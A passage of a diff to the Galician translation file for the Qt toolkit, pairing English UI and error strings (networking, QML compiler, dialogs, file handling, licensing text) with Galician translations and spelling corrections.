O servidor require autenticación - - - Data corrupted - Datos corrompidos - - - Unknown protocol specified - Especificouse un protocolo descoñecido - - - SSL handshake failed - Fallou a negociación de SSL - - - HTTPS connection requested but SSL support not compiled in - Pediuse unha conexión HTTPS pero non se compilou con soporte de SSL - - - Unknown error - Erro descoñecido - - - Request aborted - Pedido abortado - - - No server set to connect to - Non se indicou ningún servidor co que conectar - - - Wrong content length - Longitude do contido incorrecta - - - Server closed connection unexpectedly - O servidor pechou a conexión inesperadamente - - - Connection refused (or timed out) - Rexeitouse a conexión (ou esgouto o tempo-límite) - - - Host %1 not found - Non se atopou o servidor %1 - - - HTTP request failed - O pedido HTTP fallou - - - Invalid HTTP response header - A cabeceira da resposta HTTP non é válida - - - Unknown authentication method - Método descoñecido de autenticación - - - Proxy authentication required - Requírese de autenticación no proxy - - - Authentication required - Requírese de autenticación - - - Invalid HTTP chunked body - Corpo HTTP en pedazos non válido - - - Error writing response to device - Erro ao escribir a resposta no dispositivo - - - Host %1 found - Atopouse o servidor %1 - - - Connected to host %1 - Conectado co servidor %1 - - - Connection to %1 closed - Pechouse a conexión con %1 - - - Host found - Atopouse un servidor - - - Connected to host - Conectado co servidor - - - - QSocks5SocketEngine - - Connection to proxy refused - A conexión co proxy foi rexeitada - - - Connection to proxy closed prematurely - A conexión co proxy pechouse antes de tempo - - - Proxy host not found - Non se atopou o servidor proxy - - - Connection to proxy timed out - A conexión co proxy esgotou o tempo-límite - - - Proxy authentication failed - Fallou a autenticación co proxy - - - Proxy authentication failed: %1 - Fallou a autenticación no proxy: %1 - - - SOCKS version 5 protocol error - Erro do protocolo SOCKS versión 5 - - - General SOCKSv5 server failure - Fallo xeral do servidor SOCKSv5 - - - Connection not allowed by SOCKSv5 server - O servidor SOCKSv5 non permitiu a conexión - - - TTL expired - Esgotouse o TTL - - - SOCKSv5 command not supported - A orde SOCKSv5 non está soportada - - - Address type not supported - Tipo de enderezo non soportado - - - Unknown SOCKSv5 proxy error code 0x%1 - Código de erro descoñecido (0x%1) do proxy SOCKSv5 - - - Network operation timed out - A operación de rede esgotou o tempo-límite - - - QAbstractSpinBox &Select All @@ -1256,43 +1070,27 @@ para - QCheckBox - - Uncheck - Desmarcar - - - Check - Marcar - + QApplication - Toggle - Conmutar + QT_LAYOUT_DIRECTION + Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout. + LTR - - - QPushButton - Open - Abrir + Activate + Activar - - - QRadioButton - Check - Marcar + Activates the program's main window + Activa a xanela principal do programa - - - QToolButton - Press - Premer + Executable '%1' requires Qt %2, found Qt %3. + O executábel «%1» require de Qt %2, e atopouse Qt %3. - Open - Abrir + Incompatible Qt Library Error + Erro de bibliotecas Qt incompatíbeis @@ -1315,6 +1113,21 @@ para + QCheckBox + + Uncheck + Desmarcar + + + Check + Marcar + + + Toggle + Conmutar + + + QColorDialog Hu&e: @@ -1381,22 +1194,11 @@ para - QTabBar + QCoreApplication - Scroll Left - Desprazar cara a esquerda - - - Scroll Right - Desprazar cara a dereita - - - - QCoreApplication - - %1: already exists - QSystemSemaphore - %1: xa existe + %1: already exists + QSystemSemaphore + %1: xa existe %1: does not exist @@ -1409,6 +1211,11 @@ para %1: esgotou os recursos + %1: permission denied + QSystemSemaphore + %1: negouse o permiso + + %1: unknown error %2 QSystemSemaphore %1: erro descoñecido %2 @@ -1430,29 +1237,6 @@ para - QSystemSemaphore - - %1: permission denied - %1: negouse o permiso - - - %1: already exists - %1: xa existe - - - %1: does not exist - %1: non existe - - - %1: out of resources - %1: esgotou os recursos - - - %1: unknown error %2 - %1: erro descoñecido %2 - - - QDB2Driver Unable to connect @@ -1499,46 +1283,6 @@ para - QODBCResult - - Unable to fetch last - Non foi posíbel acadar o último - - - QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration - QODBCResult::reset: Non foi posíbel estabelecer «SQL_CURSOR_STATIC» como -atributo da sentenza. Verifique a configuración do controlador ODBC - - - Unable to execute statement - Non foi posíbel executar a sentenza - - - Unable to fetch - Non foi posíbel acadar - - - Unable to fetch next - Non foi posíbel acadar o seguinte - - - Unable to fetch first - Non foi posíbel acadar o primeiro - - - Unable to fetch previous - Non foi posíbel acadar o anterior - - - Unable to prepare statement - Non foi posíbel preparar a sentenza - - - Unable to bind variable - Non foi posíbel asociar a variábel - - - QDateTimeEdit AM @@ -1561,11 +1305,11 @@ atributo da sentenza. Verifique a configuración do controlador ODBCQDeclarativeAbstractAnimation Cannot animate non-existent property "%1" - Non se pode animar a propriedade inexistente «%1» + Non se pode animar a propiedade inexistente «%1» Cannot animate read-only property "%1" - Non se pode animar a propriedade só para lectura «%1» + Non se pode animar a propiedade só para lectura «%1» Animation is an abstract class @@ -1580,42 +1324,6 @@ atributo da sentenza. Verifique a configuración do controlador ODBC - QDeclarativeParentAnimation - - Unable to preserve appearance under complex transform - Non é posíbel conservar a aparencia con transformación complexa - - - Unable to preserve appearance under non-uniform scale - Non é posíbel conservar a aparencia con escalado non uniforme - - - Unable to preserve appearance under scale of 0 - Non é posíbel conservar a aparencia con escala de 0 - - - - QDeclarativePauseAnimation - - Cannot set a duration of < 0 - Non se pode indicar unha duración < 0 - - - - QDeclarativePropertyAnimation - - Cannot set a duration of < 0 - Non se pode indicar unha duración < 0 - - - - QDeclarativeXmlListModel - - Qt was built without support for xmlpatterns - Qt construíuse sen soporte para xmlpatterns - - - QDeclarativeAnchors Possible anchor loop detected on fill. @@ -1675,20 +1383,6 @@ superior, inferior nin vcenter. - QDeclarativeKeyNavigationAttached - - KeyNavigation is only available via attached properties - KeyNavigation só está dispoñíbel mediante as propriedades anexadas - - - - QDeclarativeKeysAttached - - Keys is only available via attached properties - Keys só está dispoñíbel mediante as propriedades anexadas - - - QDeclarativeBehavior Cannot change the animation assigned to a Behavior. @@ -1699,85 +1393,85 @@ superior, inferior nin vcenter. QDeclarativeBinding Binding loop detected for property "%1" - Detectouse un ciclo de unión para a propriedade «%1» + Detectouse un ciclo de unión para a propiedade «%1» QDeclarativeCompiledBindings Binding loop detected for property "%1" - Detectouse un ciclo de unión para a propriedade «%1» + Detectouse un ciclo de unión para a propiedade «%1» QDeclarativeCompiler Invalid property assignment: "%1" is a read-only property - Asignación de propriedade non válida: «%1» é unha propriedade só para lectura + Asignación de propiedade non válida: «%1» é unha propiedade só para lectura Invalid property assignment: unknown enumeration - Asignación de propriedade non válida: enumeración descoñecida + Asignación de propiedade non válida: enumeración descoñecida Invalid property assignment: string expected - Asignación de propriedade non válida: agardábase unha cadea + Asignación de propiedade non válida: agardábase unha cadea Invalid property assignment: url expected - Asignación de propriedade non válida: agardábase un URL + Asignación de propiedade non válida: agardábase un URL Invalid property assignment: unsigned int expected - Asignación de propriedade non válida: agardábase un unsigned int + Asignación de propiedade non válida: agardábase un unsigned int Invalid property assignment: int expected - Asignación de propriedade non válida: agardábase un int + Asignación de propiedade non válida: agardábase un int Invalid property assignment: number expected - Asignación de propriedade non válida: agardábase un número + Asignación de propiedade non válida: agardábase un número Invalid property assignment: color expected - Asignación de propriedade non válida: agardábase unha cor + Asignación de propiedade non válida: agardábase unha cor Invalid property assignment: date expected - Asignación de propriedade non válida: agardábase unha date + Asignación de propiedade non válida: agardábase unha date Invalid property assignment: time expected - Asignación de propriedade non válida: agardábase un time + Asignación de propiedade non válida: agardábase un time Invalid property assignment: datetime expected - Asignación de propriedade non válida: agardábase un datetime + Asignación de propiedade non válida: agardábase un datetime Invalid property assignment: point expected - Asignación de propriedade non válida: agardábase un punto + Asignación de propiedade non válida: agardábase un punto Invalid property assignment: size expected - Asignación de propriedade non válida: agardábase un tamaño + Asignación de propiedade non válida: agardábase un tamaño Invalid property assignment: rect expected - Asignación de propriedade non válida: agardábase un rect + Asignación de propiedade non válida: agardábase un rect Invalid property assignment: boolean expected - Asignación de propriedade non válida: agardábase un booleano + Asignación de propiedade non válida: agardábase un booleano Invalid property assignment: 3D vector expected - Asignación de propriedade non válida: agardábase un vector 3D + Asignación de propiedade non válida: agardábase un vector 3D Invalid property assignment: unsupported type "%1" - Asignación de propriedade non válida: tipo non soportado «%1» + Asignación de propiedade non válida: tipo non soportado «%1» Element is not creatable. @@ -1785,7 +1479,7 @@ superior, inferior nin vcenter. Component elements may not contain properties other than id - Os elementos compoñentes non poden conter máis propriedades que o id + Os elementos compoñentes non poden conter máis propiedades que o id Invalid component id specification @@ -1801,7 +1495,7 @@ superior, inferior nin vcenter. Component objects cannot declare new properties. - Os obxectos compoñentes non poden declarar novas propriedades. + Os obxectos compoñentes non poden declarar novas propiedades. Component objects cannot declare new signals. @@ -1829,15 +1523,15 @@ superior, inferior nin vcenter. Empty property assignment - Asignación baleira de propriedade + Asignación baleira de propiedade Attached properties cannot be used here - As propriedades anexas non se poden empregar aquí + As propiedades anexas non se poden empregar aquí Non-existent attached object - Anexáronse propriedades inexistentes + Anexáronse propiedades inexistentes Invalid attached object assignment @@ -1845,11 +1539,11 @@ superior, inferior nin vcenter. Cannot assign to non-existent default property - Non se pode asignar a unha propriedade predeterminada inexistente + Non se pode asignar a unha propiedade predeterminada inexistente Cannot assign to non-existent property "%1" - Non se pode asignar a unha propriedade inexistente «%1» + Non se pode asignar a unha propiedade inexistente «%1» Invalid use of namespace @@ -1857,35 +1551,35 @@ superior, inferior nin vcenter. Not an attached property name - Non é un nome de propriedade anexa + Non é un nome de propiedade anexa Invalid use of id property - Uso non válido da propriedade id + Uso non válido da propiedade id Property has already been assigned a value - Xa se lle asignou un valor a esta propriedade + Xa se lle asignou un valor a esta propiedade Invalid grouped property access - Acceso non válido a unha propriedade agrupada + Acceso non válido a unha propiedade agrupada Cannot assign a value directly to a grouped property - Non se pode asignar directamente un valor a unha propriedade agrupada + Non se pode asignar directamente un valor a unha propiedade agrupada Invalid property use - Uso non válido da propriedade + Uso non válido da propiedade Property assignment expected - Agardábase unha asignación de propriedade + Agardábase unha asignación de propiedade Single property assignment expected - Agardábase unha única asignación a propriedade + Agardábase unha única asignación a propiedade Unexpected object assignment @@ -1905,15 +1599,19 @@ superior, inferior nin vcenter. Cannot assign multiple values to a script property - Non se poden asignar varios valores a unha propriedade de script + Non se poden asignar varios valores a unha propiedade de script Invalid property assignment: script expected - Asignación de propriedade non válida: agardábase un script + Asignación de propiedade non válida: agardábase un script + + + Cannot assign multiple values to a singular property + Cannot assign object to property - Non se pode asignar un obxecto a unha propriedade + Non se pode asignar un obxecto a unha propiedade "%1" cannot operate on "%2" @@ -1921,19 +1619,19 @@ superior, inferior nin vcenter. Duplicate default property - Propriedade predeterminada duplicada + Propiedade predeterminada duplicada Duplicate property name - Nome de propriedade duplicado + Nome de propiedade duplicado Property names cannot begin with an upper case letter - Os nomes das propriedades non poden comezar por maiúscula + Os nomes das propiedades non poden comezar por maiúscula Illegal property name - Nome ilegal de propriedade + Nome ilegal de propiedade Duplicate signal name @@ -1961,19 +1659,19 @@ superior, inferior nin vcenter. Property value set multiple times - O valor dunha propriedade indicouse varias veces + O valor dunha propiedade indicouse varias veces Invalid property nesting - Aniñamento non válido de propriedade + Aniñamento non válido de propiedade Cannot override FINAL property - Non se pode sobrescribir a propriedade FINAL + Non se pode sobrescribir a propiedade FINAL Invalid property type - Tipo de propriedade non válido + Tipo de propiedade non válido Invalid empty ID @@ -1993,23 +1691,31 @@ superior, inferior nin vcenter. ID illegally masks global JavaScript property - O ID enmascara ilegalmente unha propriedade JavaScript global + O ID enmascara ilegalmente unha propiedade JavaScript global No property alias location - Falta a localización dun alcume dunha propriedade + Falta a localización dun alcume dunha propiedade Invalid alias location Localización non válida dun alcume + Invalid alias reference. An alias reference must be specified as <id>, <id>.<property> or <id>.<value property>.<property> + + + + Alias property exceeds alias bounds + + + Invalid alias reference. An alias reference must be specified as <id> or <id>.<property> - Referencianon válida a un alcume. Unha referencia a un alcume debe indicarse como <id> ou como <id>.<propriedade> + Referencia non válida a un alcume. Unha referencia a un alcume debe indicarse como <id> ou como <id>.<propiedade> Invalid alias reference. Unable to find id "%1" - Referencia non válida a un alcume. Non foi posíbel achar o id «%1» + Referencia non válida a un alcume. Non foi posíbel atopar o id «%1» @@ -2023,26 +1729,26 @@ superior, inferior nin vcenter. QDeclarativeCompositeTypeManager Resource %1 unavailable - O recurso %1 non está dispoñíbel + O recurso %1 non está dispoñíbel Namespace %1 cannot be used as a type - O espazo de nomes %1 non se pode empregar como un tipo + O espazo de nomes %1 non se pode empregar como un tipo %1 %2 - %1 %2 + %1 %2 Type %1 unavailable - O tipo %1 non está dispoñíbel + O tipo %1 non está dispoñíbel QDeclarativeConnections Cannot assign to non-existent property "%1" - Non é posíbel asignar a unha propriedade non existente «%1» + Non é posíbel asignar a unha propiedade non existente «%1» Connections: nested objects not allowed @@ -2069,7 +1775,7 @@ superior, inferior nin vcenter. Version mismatch: expected %1, found %2 - Non se corresponden as versións: agardábase a %1 pero achouse a %2 + Non se corresponden as versións: agardábase a %1 pero atopouse a %2 SQL transaction failed @@ -2088,26 +1794,30 @@ superior, inferior nin vcenter. QDeclarativeFlipable front is a write-once property - front é unha propriedade só para escrita + front é unha propiedade só para escrita back is a write-once property - bach é unha propriedade só para escrita + back é unha propiedade só para escrita QDeclarativeImportDatabase + cannot load module "%1": File name case mismatch for "%2" + + + module "%1" definition "%2" not readable a definición «%2» no módulo «%1» non é lexíbel plugin cannot be loaded for module "%1": %2 - non foi posíbel cargar a extensión para o módulo «%1»: %2 + non foi posíbel cargar o complemento para o módulo «%1»: %2 module "%1" plugin "%2" not found - non se atopou a extensión «%2» do módulo «%1» + non se atopou o complemento «%2» do módulo «%1» module "%1" version %2.%3 is not installed @@ -2139,7 +1849,7 @@ superior, inferior nin vcenter. is ambiguous. Found in %1 and in %2 - é ambíguo. Atopouse en %1 e en %2 + é ambiguo. Atopouse en %1 e en %2 is ambiguous. Found in %1 in version %2.%3 and %4.%5 @@ -2153,6 +1863,24 @@ superior, inferior nin vcenter. is not a type non é un tipo + + File name case mismatch for "%2" + + + + + QDeclarativeKeyNavigationAttached + + KeyNavigation is only available via attached properties + KeyNavigation só está dispoñíbel mediante as propiedades anexadas + + + + QDeclarativeKeysAttached + + Keys is only available via attached properties + Keys só está dispoñíbel mediante as propiedades anexadas + QDeclarativeListModel @@ -2190,15 +1918,15 @@ superior, inferior nin vcenter. ListElement: cannot use reserved "id" property - Elemento de lista: non pode empregar a propriedade «id» porque está reservada + Elemento de lista: non pode empregar a propiedade «id» porque está reservada ListElement: cannot use script for property value - Elemento de lista: non pode empregar script como valor de propriedade + Elemento de lista: non pode empregar script como valor de propiedade ListModel: undefined property '%1' - Modelo de lista: a propriedade «%1» non está definida + Modelo de lista: a propiedade «%1» non está definida @@ -2209,6 +1937,21 @@ superior, inferior nin vcenter. + QDeclarativeParentAnimation + + Unable to preserve appearance under complex transform + Non é posíbel conservar a aparencia con transformación complexa + + + Unable to preserve appearance under non-uniform scale + Non é posíbel conservar a aparencia con escalado non uniforme + + + Unable to preserve appearance under scale of 0 + Non é posíbel conservar a aparencia con escala de 0 + + + QDeclarativeParentChange Unable to preserve appearance under complex transform @@ -2231,13 +1974,17 @@ superior, inferior nin vcenter. Illegal character - Caracter ilegal + Carácter ilegal Unclosed string at end of line Cadea non pechada no fin dunha liña + Illegal escape squence + Secuencia de escape ilegal + + Illegal escape sequence Secuencia de escape ilegal @@ -2263,7 +2010,7 @@ superior, inferior nin vcenter. Unterminated regular expression backslash sequence - Secuencia de expresión regular non terminda con contrabarra + Secuencia de expresión regular non terminada con contrabarra Unterminated regular expression class @@ -2283,7 +2030,7 @@ superior, inferior nin vcenter. Property value set multiple times - O valor da propriedade estabeleceuse varias veces + O valor da propiedade estabeleceuse varias veces Expected type name @@ -2291,19 +2038,19 @@ superior, inferior nin vcenter. Invalid import qualifier ID - ID do calificador de importación non válido + ID do cualificador de importación non válido Reserved name "Qt" cannot be used as an qualifier - O nome reservado «Qt» non se pode empregar como calificador + O nome reservado «Qt» non se pode empregar como cualificador Script import qualifiers must be unique. - Os calificadores de importación de script deben ser únicos. + Os cualificadores de importación de script deben ser únicos. Script import requires a qualifier - A importación de script require dun calificador + A importación de script require dun cualificador Library import requires a version @@ -2315,19 +2062,19 @@ superior, inferior nin vcenter. Invalid property type modifier - Modificador de tipo da propriedade non válido + Modificador de tipo da propiedade non válido Unexpected property type modifier - Modificador do tipo da propriedade non agardado + Modificador do tipo da propiedade non agardado Expected property type - Agardábase o tipo dunha propriedade + Agardábase o tipo dunha propiedade Readonly not yet supported - Aínda non se soporta o só para leitura + Aínda non se soporta o só para lectura JavaScript declaration outside Script element @@ -2335,6 +2082,13 @@ superior, inferior nin vcenter. + QDeclarativePauseAnimation + + Cannot set a duration of < 0 + Non se pode indicar unha duración < 0 + + + QDeclarativePixmap Error decoding: %1: %2 @@ -2350,6 +2104,13 @@ superior, inferior nin vcenter. + QDeclarativePropertyAnimation + + Cannot set a duration of < 0 + Non se pode indicar unha duración < 0 + + + QDeclarativePropertyChanges PropertyChanges does not support creating state-specific objects. @@ -2357,11 +2118,11 @@ superior, inferior nin vcenter. Cannot assign to non-existent property "%1" - Non é posíbel asignar á propriedade inexistente «%1» + Non é posíbel asignar á propiedade inexistente «%1» Cannot assign to read-only property "%1" - Non é posíbel asignar a unha propriedade só para lectura «%1» + Non é posíbel asignar a unha propiedade só para lectura «%1» @@ -2376,6 +2137,25 @@ superior, inferior nin vcenter. + QDeclarativeTypeLoader + + Script %1 unavailable + + + + Type %1 unavailable + O tipo %1 non está dispoñíbel + + + Namespace %1 cannot be used as a type + O espazo de nomes %1 non se pode empregar como un tipo + + + %1 %2 + %1 %2 + + + QDeclarativeVME Unable to create object of type %1 @@ -2383,7 +2163,7 @@ superior, inferior nin vcenter. Cannot assign value %1 to property %2 - Non é posíbel asignar o valor %1 á propriedade %2 + Non é posíbel asignar o valor %1 á propiedade %2 Cannot assign object type %1 with no default method @@ -2395,7 +2175,7 @@ superior, inferior nin vcenter. Cannot assign an object to signal property %1 - Non é posíbel asignar un obxecto á propriedade de sinal %1 + Non é posíbel asignar un obxecto á propiedade de sinal %1 Cannot assign object to list @@ -2403,7 +2183,7 @@ superior, inferior nin vcenter. Cannot assign object to interface property - Non é posíbel asignar un obxecto a unha propriedade dunha interface + Non é posíbel asignar un obxecto a unha propiedade dunha interface Unable to create attached object @@ -2411,14 +2191,21 @@ superior, inferior nin vcenter. Cannot set properties on %1 as it is null - Non se poden definir propriedades de %1 porque é nulo + Non se poden definir propiedades de %1 porque é nulo QDeclarativeVisualDataModel Delegate component must be Item type. - O componente delegado debe ser do tipo Item. + O compoñente delegado debe ser do tipo Item. + + + + QDeclarativeXmlListModel + + Qt was built without support for xmlpatterns + Qt construíuse sen soporte para xmlpatterns @@ -2436,21 +2223,6 @@ superior, inferior nin vcenter. - QObject - - "%1" duplicates a previous role name and will be disabled. - «%1» duplica un nome de rol anterior e desactivarase. - - - invalid query: "%1" - pescuda non válida: «%1» - - - PulseAudio Sound Server - Servidor de son PulseAudio - - - QDial QDial @@ -2466,149 +2238,37 @@ superior, inferior nin vcenter. - QDoubleSpinBox + QDialog - More - Máis + Done + Feito - Less - Menos + What's This? + Que é isto? - QScrollBar + QDialogButtonBox - Line up - Aliñar en riba + OK + Aceptar - Position - Posición + &OK + &Aceptar - Line down - Aliñar en baixo + &Save + &Gardar - Scroll here - Desprazar cara aquí + Save + Gardar - Left edge - Borde esquerdo - - - Top - Cume - - - Right edge - Borde dereito - - - Bottom - Fondo - - - Page left - Páxina á esquerda - - - Page up - Páxina en riba - - - Page right - Páxina á dereita - - - Page down - Páxina en baixo - - - Scroll left - Desprazar cara á esquerda - - - Scroll up - Desprazar cara arriba - - - Scroll right - Desprazar cara á dereita - - - Scroll down - Desprazar cara abaixo - - - - QSlider - - Page left - Páxina á esquerda - - - Page up - Páxina en riba - - - Position - Posición - - - Page right - Páxina á dereita - - - Page down - Páxina en baixo - - - - QSpinBox - - More - Máis - - - Less - Menos - - - - QDialog - - Done - Feito - - - What's This? - Que é isto? - - - - QDialogButtonBox - - OK - Aceptar - - - &OK - &Aceptar - - - &Save - &Gardar - - - Save - Gardar - - - Open - Abrir + Open + Abrir &Cancel @@ -2688,67 +2348,108 @@ superior, inferior nin vcenter. - QMessageBox + QDirModel - Show Details... - Mostrar os detalles... + Name + Nome - Hide Details... - Agochar os detalles... + Size + Tamaño - OK - Aceptar + Kind + Match OS X Finder + Tipo - Help - Axuda + Type + All other platforms + Tipo - <h3>About Qt</h3><p>This program uses Qt version %1.</p> - <h3>Acerca de Qt</h3><p>Este programa emprega a versión %1 de Qt.</p> + Date Modified + Data de modificación + + + QDockWidget - <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p> - <p>Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.</p> <p>Qt fornece portabilidade entre MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.</p> -<p>Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.</p> -</p>Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software proprietario -ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.</p> -<p>Qt sob a licenza GNU General Public License versión 2.1 é apropriada para o desenvolvemento de programas Qt (proprietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.</p> -<p>Qt sob a licenza GNU General Public License versión 3.0 é apropriada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.</p> -<p>Consulte <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> para ler un resumo das licenzas de Qt.</p> -<p>Copyright (C) 2011 Nokia Corporation ou as súas subsidiarias.</p> -<p>Qt é un produto de Nokia. Consulte <a href="http://qt.nokia.com/">qt.nokia.com</a> para máis información.</p> + Close + Pechar - About Qt - Acerca de Qt + Dock + Acoplar + + + Float + Flutuante - QDirModel + QDoubleSpinBox - Name - Nome + More + Máis - Size - Tamaño + Less + Menos + + + QErrorMessage - Kind - Match OS X Finder - Tipo + Debug Message: + Mensaxe de depuración: - Type - All other platforms - Tipo + Warning: + Aviso: - Date Modified - Data de modificación + Fatal Error: + Erro fatal: + + + &Show this message again + &Mostrar esta mensaxe de novo + + + &OK + &Aceptar + + + + QFile + + Destination file exists + O ficheiro de destino xa existe + + + Will not rename sequential file using block copy + Non se mudará o nome do ficheiro secuencial empregando a copia de bloques + + + Cannot remove source file + Non é posíbel eliminar o ficheiro de orixe + + + Cannot open %1 for input + Non é posíbel abrir %1 como entrada + + + Cannot open for output + Non foi posíbel abrir o ficheiro de saída + + + Failure to write block + Non foi posíbel escribir o bloque + + + Cannot create %1 for output + Non foi posíbel crear %1 para a saída @@ -2815,7 +2516,7 @@ ou comercial onde non é preciso compartir ningún código fonte con terceiras p Find Directory - Procurar un cartafol + Buscar un cartafol Open @@ -2878,7 +2579,7 @@ ou comercial onde non é preciso compartir ningún código fonte con terceiras p Directory not found. Please verify the correct directory name was given. %1 -Non se achou o cartafol. +Non se atopou o cartafol. Verifique que se indicase o nome correcto. @@ -3024,103 +2725,34 @@ Desexa aínda así borralo? - QDockWidget + QFontDatabase - Close - Pechar + Normal + Normal - Dock - Acoplar + Bold + Negriña - Float - Flutuante + Demi Bold + Demi negriña - - - QErrorMessage - Debug Message: - Mensaxe de depuración: + Black + Escura - Warning: - Aviso: + Demi + Demi - Fatal Error: - Erro fatal: + Light + Clara - &Show this message again - &Mostrar esta mensaxe de novo - - - &OK - &Aceptar - - - - QFile - - Destination file exists - O ficheiro de destino xa existe - - - Will not rename sequential file using block copy - Non se mudará o nome do ficheiro secuencial empregando a copia de bloques - - - Cannot remove source file - Non é posíbel eliminar o ficheiro de orixe - - - Cannot open %1 for input - Non é posíbel abrir %1 como entrada - - - Cannot open for output - Non foi posíbel abrir o ficheiro de saída - - - Failure to write block - Non foi posíbel escribir o bloque - - - Cannot create %1 for output - Non foi posíbel crear %1 para a saída - - - - QFontDatabase - - Normal - Normal - - - Bold - Negriña - - - Demi Bold - Demi negriña - - - Black - Escura - - - Demi - Demi - - - Light - Clara - - - Italic - Cursiva + Italic + Cursiva Oblique @@ -3442,6 +3074,117 @@ Desexa aínda así borralo? + QHttp + + Connection refused + Rexeitouse a conexión + + + Connection closed + Pechouse a conexión + + + Proxy requires authentication + O proxy require autenticación + + + Host requires authentication + O servidor require autenticación + + + Data corrupted + Datos corrompidos + + + Unknown protocol specified + Especificouse un protocolo descoñecido + + + SSL handshake failed + Fallou a negociación de SSL + + + HTTPS connection requested but SSL support not compiled in + Pediuse unha conexión HTTPS pero non se compilou con soporte de SSL + + + Unknown error + Erro descoñecido + + + Request aborted + Pedido abortado + + + No server set to connect to + Non se indicou ningún servidor co que conectar + + + Wrong content length + Lonxitude do contido incorrecta + + + Server closed connection unexpectedly + O servidor pechou a conexión inesperadamente + + + Connection refused (or timed out) + Rexeitouse a conexión (ou esgotou o tempo-límite) + + + Host %1 not found + Non se atopou o servidor %1 + + + HTTP request failed + O pedido HTTP fallou + + + Invalid HTTP response header + A cabeceira da resposta HTTP non é válida + + + Unknown authentication method + Método descoñecido de autenticación + + + Proxy authentication required + Requírese de autenticación no proxy + + + Authentication required + Requírese de autenticación + + + Invalid HTTP chunked body + Corpo HTTP en pedazos non válido + + + Error writing response to device + Erro ao escribir a resposta no dispositivo + + + Host %1 found + Atopouse o servidor %1 + + + Connected to host %1 + Conectado co servidor %1 + + + Connection to %1 closed + Pechouse a conexión con %1 + + + Host found + Atopouse un servidor + + + Connected to host + Conectado co servidor + + + QHttpSocketEngine Did not receive HTTP response from proxy @@ -3631,15 +3374,15 @@ Desexa aínda así borralo? QLibrary Could not mmap '%1': %2 - Non foi posíbel mmap «%1»: %2 + Non foi posíbel mmap «%1»: %2 Plugin verification data mismatch in '%1' - Erro de concordancia na verificación dos datos da extensión en «%1» + Erro de concordancia na verificación dos datos do complemento en «%1» Could not unmap '%1': %2 - Non foi posíbel unmap «%1»: %2 + Non foi posíbel unmap «%1»: %2 The shared library was not found. @@ -3647,21 +3390,20 @@ Desexa aínda así borralo? The file '%1' is not a valid Qt plugin. - O ficheiro «%1» non é unha extensión válida de Qt. + O ficheiro «%1» non é un complemento válido de Qt. The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5] - A extensión «%1» utiliza unha biblioteca Qt non compatíbel. (%2.%3.%4) [%5] + O complemento «%1» utiliza unha biblioteca Qt non compatíbel. (%2.%3.%4) [%5] The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3" - A extensión «%1» utiliza unha biblioteca Qt non compatíbel. Agardábase a + O complemento «%1» utiliza unha biblioteca Qt non compatíbel. Agardábase a chave de compilación «%2», obtívose a «%3» The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.) - A extensión «%1» utiliza unha biblioteca Qt non compatíbel (Non é posíbel -misturar as bibliotecas de depuración coas publicadas). + O complemento «%1» utiliza unha biblioteca Qt non compatíbel (Non é posíbel mesturar as bibliotecas de depuración coas publicadas). Unknown error @@ -3952,6 +3694,57 @@ misturar as bibliotecas de depuración coas publicadas). + QMessageBox + + Show Details... + Mostrar os detalles... + + + Hide Details... + Acochar os detalles... + + + OK + Aceptar + + + Help + Axuda + + + <h3>About Qt</h3><p>This program uses Qt version %1.</p> + <h3>Acerca de Qt</h3><p>Este programa emprega a versión %1 de Qt.</p> + + + <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a 